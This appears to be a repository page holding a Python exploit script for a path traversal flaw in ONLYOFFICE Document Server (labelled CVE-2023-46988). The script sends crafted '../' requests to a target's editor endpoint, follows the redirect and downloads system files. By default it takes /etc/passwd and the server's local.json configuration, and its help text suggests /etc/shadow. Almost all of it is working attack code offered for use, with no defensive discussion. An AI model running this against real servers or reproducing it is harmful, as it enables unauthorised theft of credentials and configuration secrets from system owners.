README.md
Rendering markdown...
import requests
import re
import sys
import argparse
from urllib.parse import urlparse, parse_qs, unquote, quote
# Disable SSL warnings (user can override with --verify flag)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def get_protocol(url):
"""Return the protocol (http or https) based on the URL."""
if url.startswith("https://"):
return "https"
elif url.startswith("http://"):
return "http"
else:
print("[!] Invalid URL format. Use http:// or https://")
sys.exit(-1)
def retrieve_secrets(url, file_path, proxies, verify_ssl):
protocol = get_protocol(url) # Get protocol (http or https)
# Define default files to retrieve if none are provided
files_to_download = ["/etc/passwd", "/etc/onlyoffice/documentserver/local.json"]
# If user specifies a file, download only that file
if file_path:
files_to_download = [file_path]
for target_file in files_to_download:
print(f"[*] Attempting to retrieve: {target_file}")
target_url = f'{url}/example/editor?fileExt=../../../../../../../../{target_file.lstrip("/")}'
print(f"[*] Sending request to: {target_url}")
try:
response = requests.get(target_url, proxies=proxies, allow_redirects=False, timeout=10, verify=verify_ssl)
# Extract redirect URL
match = re.search(r"Found\. Redirecting to (http[^\s]+)", response.text)
if match:
redirect_url = match.group(1)
print(f"[+] Extracted Redirect URL: {redirect_url}")
# Parse the URL and extract 'fileName' parameter
parsed_url = urlparse(redirect_url)
query_params = parse_qs(parsed_url.query)
if 'fileName' in query_params:
extracted_value = unquote(query_params['fileName'][0]).strip()
print(f"[+] Extracted File Name: {extracted_value}")
encoded_filename = quote(extracted_value)
# Fix: Add "%20" if filename starts with "("
if extracted_value.startswith("("):
encoded_filename = "%20" + quote(extracted_value)
else:
encoded_filename = quote(extracted_value)
# Download the extracted file with the encoded name
download_file(f'{url}/example/download?fileName={encoded_filename}', extracted_value, proxies, verify_ssl)
else:
print("[-] No 'fileName' parameter found in the redirect URL.")
else:
print("[-] No redirection URL found in response body.")
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
def download_file(url, filename, proxies, verify_ssl):
"""Download the file and save it with the extracted filename."""
try:
response = requests.get(url, proxies=proxies, stream=True, timeout=10, verify=verify_ssl)
if response.status_code == 200:
with open(filename, 'wb') as file:
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)
print(f"[+] File downloaded successfully: {filename}")
else:
print(f"[-] Failed to download file. HTTP Status: {response.status_code}")
except requests.RequestException as e:
print(f"[!] Error downloading file: {e}")
def main():
parser = argparse.ArgumentParser(description="ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)")
parser.add_argument("url", help="Target URL (e.g., https://example.local)")
parser.add_argument("--file", help="File path to retrieve (e.g., /etc/shadow)")
parser.add_argument("--proxy", nargs="?", const="http://127.0.0.1:8080", help="Use proxy (default: Burp Suite on http://127.0.0.1:8080). Provide custom proxy if needed.")
parser.add_argument("--verify", action="store_true", help="Enable SSL verification")
args = parser.parse_args()
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
verify_ssl = args.verify # Enable SSL verification if flag is set
print(f"[*] Target URL: {args.url}")
retrieve_secrets(args.url, args.file, proxies, verify_ssl)
if __name__ == "__main__":
main()